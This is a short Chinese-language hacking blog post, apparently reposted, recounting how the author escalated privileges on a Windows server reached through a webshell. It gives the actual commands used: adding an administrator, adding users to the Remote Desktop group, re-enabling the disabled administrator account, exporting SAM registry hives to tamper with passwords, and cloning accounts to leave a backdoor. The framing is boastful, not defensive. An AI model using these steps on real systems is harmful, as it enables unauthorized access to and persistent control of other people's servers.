注册
登录
| 关键词： 登陆 然后 帐号 终端 权限 密码 Users 管理员 用户 administrator |
来源：b0r3d's Blog 今天朋友扔来一webshell让提权，SU默认密码没改，可执行命令，添加管理员后登陆,出现没有权限 估计是组策略设置了管理组没入终端登陆组,然后net localgroup "Remote Desktop Users" user /add 朋友说还不行,然后就准备reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg 然后修改administrator密码登陆,晕,竟然给禁用了, net user administrator /active:yes 启用管理员帐号登陆 还是没有权限,看来真的是默认管理组没有终端登陆权限,或者设置了默认管理员的权限 继续...net localgroup "remotedesktop users"查看终端用户 reg export HKLM\SAM\SAM\Domains\Account\Users c:\user.reg 把全部用户备份 然后随便修改一个终端组的用户密码登陆.yeah.成功. 然后把修改过的密码的帐号注册表文件全都导入,克隆帐号,留后门. 闪人... |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
